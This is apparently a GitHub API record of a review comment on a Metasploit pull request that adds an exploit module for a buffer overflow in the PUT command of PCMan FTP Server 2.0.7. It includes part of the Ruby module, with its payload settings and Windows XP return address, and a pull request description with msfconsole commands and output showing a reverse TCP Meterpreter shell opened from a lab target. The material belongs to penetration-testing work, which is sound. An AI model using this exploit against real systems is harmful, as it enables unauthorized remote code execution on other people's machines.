{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/50935384","id":50935384,"diff_hunk":"@@ -0,0 +1,80 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+\n+class Metasploit3 < Msf::Exploit::Remote\n+  Rank = NormalRanking\n+\n+  include Msf::Exploit::Remote::Ftp\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'PCMAN FTP Server v2.0.7 Buffer Overflow - PUT Command',\n+      'Description'    => %q{\n+          This module exploits a buffer overflow vulnerability found in the PUT command of the\n+          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous\n+          credientials are enabled.\n+      },\n+      'Author'         =>\n+          [\n+            'Jay Turla @shipcod3',      # Initial Discovery\n+            'Chris Higgins @ch1gg1ns'   # msf Module\n+          ],\n+      'License'        => MSF_LICENSE,\n+      'References'     =>\n+        [\n+          [ 'EDB',   '37731']\n+        ],\n+      'DefaultOptions' =>\n+        {\n+          'EXITFUNC' => 'process',\n+          'VERBOSE'  => true\n+        },\n+      'Payload'        =>\n+        {\n+          'Space'   => 1000,\n+          'BadChars'  => \"\\x00\\x0A\\x0D\",\n+        },\n+      'Platform'       => 'win',\n+      'Targets'        =>\n+        [\n+          [ 'Windows XP SP3 English',\n+            {\n+              'Ret' => 0x77c35459, # push esp ret C:\\WINDOWS\\system32\\msvcrt.dll","path":"modules/exploits/windows/ftp/pcman_put.rb","position":46,"original_position":46,"commit_id":"3cab27086fcd0019ee176ce7274c81176e858bb7","original_commit_id":"3cab27086fcd0019ee176ce7274c81176e858bb7","user":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"body":"Did you check the app's DLLs (if any)?","created_at":"2016-01-27T02:49:25Z","updated_at":"2016-01-27T02:49:25Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/6507#discussion_r50935384","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6507","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/50935384"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6507#discussion_r50935384"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6507"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6507","id":57290065,"html_url":"https://github.com/rapid7/metasploit-framework/pull/6507","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6507.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6507.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6507","number":6507,"state":"open","locked":false,"title":"Added PCMan FTP PUT Buffer Overflow Exploit","user":{"login":"Chiggins","id":350596,"avatar_url":"https://avatars.githubusercontent.com/u/350596?v=3","gravatar_id":"","url":"https://api.github.com/users/Chiggins","html_url":"https://github.com/Chiggins","followers_url":"https://api.github.com/users/Chiggins/followers","following_url":"https://api.github.com/users/Chiggins/following{/other_user}","gists_url":"https://api.github.com/users/Chiggins/gists{/gist_id}","starred_url":"https://api.github.com/users/Chiggins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Chiggins/subscriptions","organizations_url":"https://api.github.com/users/Chiggins/orgs","repos_url":"https://api.github.com/users/Chiggins/repos","events_url":"https://api.github.com/users/Chiggins/events{/privacy}","received_events_url":"https://api.github.com/users/Chiggins/received_events","type":"User","site_admin":false},"body":"Exploit to cause a buffer overflow in the PUT command on PCMan FTP Server 2.0.7 running on Windows XP SP3. You can check out the PoC Python exploit and grab the vulnerable application from the [Exploit DB page](https://www.exploit-db.com/exploits/37731/)\r\n\r\nPretty simple exploit, nothing too complicated. To replicate, just download the vulnerable app, run the EXE, and fire off the module at it.\r\n\r\n```\r\nmsf > use exploit/windows/ftp/pcman_put \r\nmsf exploit(pcman_put) > set rhost 172.16.237.129\r\nmsf exploit(pcman_put) > show options\r\n\r\nModule options (exploit/windows/ftp/pcman_put):\r\n\r\n   Name     Current Setting      Required  Description\r\n   ----     ---------------      --------  -----------\r\n   FTPPASS  mozilla@example.com  no        The password for the specified username\r\n   FTPUSER  anonymous            no        The username to authenticate as\r\n   RHOST    172.16.237.129       yes       The target address\r\n   RPORT    21                   yes       The target port\r\n\r\n\r\nPayload options (windows/meterpreter/reverse_tcp):\r\n\r\n   Name      Current Setting  Required  Description\r\n   ----      ---------------  --------  -----------\r\n   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)\r\n   LHOST     172.16.237.1     yes       The listen address\r\n   LPORT     4444             yes       The listen port\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Windows XP SP3 English\r\n\r\n\r\nmsf exploit(pcman_put) > exploit\r\n\r\n[*] Started reverse TCP handler on 172.16.237.1:4444 \r\n[*] Connecting to FTP server...\r\n[*] Connecting to FTP server 172.16.237.129:21...\r\n[*] Connected to target FTP server.\r\n[*] Authenticating as anonymous with password mozilla@example.com...\r\n[*] Sending password...\r\n[*] Generating payload...\r\n[*] Sending stage (957487 bytes) to 172.16.237.129\r\n[*] Meterpreter session 10 opened (172.16.237.1:4444 -> 172.16.237.129:1036) at 2016-01-26 16:58:04 -0600\r\n\r\nmeterpreter >\r\n```","created_at":"2016-01-26T23:25:52Z","updated_at":"2016-01-27T02:49:25Z","closed_at":null,"merged_at":null,"merge_commit_sha":"b39164fbc297264510f439cdc9ca34c226370dc7","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6507/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6507/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6507/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/3cab27086fcd0019ee176ce7274c81176e858bb7","head":{"label":"Chiggins:pcman_put_exploit","ref":"pcman_put_exploit","sha":"3cab27086fcd0019ee176ce7274c81176e858bb7","user":{"login":"Chiggins","id":350596,"avatar_url":"https://avatars.githubusercontent.com/u/350596?v=3","gravatar_id":"","url":"https://api.github.com/users/Chiggins","html_url":"https://github.com/Chiggins","followers_url":"https://api.github.com/users/Chiggins/followers","following_url":"https://api.github.com/users/Chiggins/following{/other_user}","gists_url":"https://api.github.com/users/Chiggins/gists{/gist_id}","starred_url":"https://api.github.com/users/Chiggins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Chiggins/subscriptions","organizations_url":"https://api.github.com/users/Chiggins/orgs","repos_url":"https://api.github.com/users/Chiggins/repos","events_url":"https://api.github.com/users/Chiggins/events{/privacy}","received_events_url":"https://api.github.com/users/Chiggins/received_events","type":"User","site_admin":false},"repo":{"id":7548812,"name":"metasploit-framework","full_name":"Chiggins/metasploit-framework","owner":{"login":"Chiggins","id":350596,"avatar_url":"https://avatars.githubusercontent.com/u/350596?v=3","gravatar_id":"","url":"https://api.github.com/users/Chiggins","html_url":"https://github.com/Chiggins","followers_url":"https://api.github.com/users/Chiggins/followers","following_url":"https://api.github.com/users/Chiggins/following{/other_user}","gists_url":"https://api.github.com/users/Chiggins/gists{/gist_id}","starred_url":"https://api.github.com/users/Chiggins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Chiggins/subscriptions","organizations_url":"https://api.github.com/users/Chiggins/orgs","repos_url":"https://api.github.com/users/Chiggins/repos","events_url":"https://api.github.com/users/Chiggins/events{/privacy}","received_events_url":"https://api.github.com/users/Chiggins/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/Chiggins/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/Chiggins/metasploit-framework","forks_url":"https://api.github.com/repos/Chiggins/metasploit-framework/forks","keys_url":"https://api.github.com/repos/Chiggins/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Chiggins/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Chiggins/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/Chiggins/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/Chiggins/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/Chiggins/metasploit-framework/events","assignees_url":"https://api.github.com/repos/Chiggins/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/Chiggins/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/Chiggins/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/Chiggins/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Chiggins/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Chiggins/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/Chiggins/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Chiggins/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/Chiggins/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/Chiggins/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/Chiggins/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/Chiggins/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/Chiggins/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/Chiggins/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/Chiggins/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/Chiggins/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/Chiggins/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/Chiggins/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/Chiggins/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Chiggins/metasploit-framework/merges","archive_url":"https://api.github.com/repos/Chiggins/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Chiggins/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/Chiggins/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/Chiggins/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/Chiggins/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/Chiggins/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Chiggins/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/Chiggins/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/Chiggins/metasploit-framework/deployments","created_at":"2013-01-10T21:16:11Z","updated_at":"2015-04-15T20:54:16Z","pushed_at":"2016-01-26T23:09:44Z","git_url":"git://github.com/Chiggins/metasploit-framework.git","ssh_url":"git@github.com:Chiggins/metasploit-framework.git","clone_url":"https://github.com/Chiggins/metasploit-framework.git","svn_url":"https://github.com/Chiggins/metasploit-framework","homepage":"http://www.metasploit.com/","size":326622,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"87193cbcfcc978b8614bd7726af2bf2603deead3","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2016-01-26T22:40:25Z","pushed_at":"2016-01-27T02:25:01Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":468982,"stargazers_count":5165,"watchers_count":5165,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3697,"mirror_url":null,"open_issues_count":268,"forks":3697,"open_issues":268,"watchers":5165,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6507"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6507"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6507"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6507/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6507/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6507/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/3cab27086fcd0019ee176ce7274c81176e858bb7"}}}}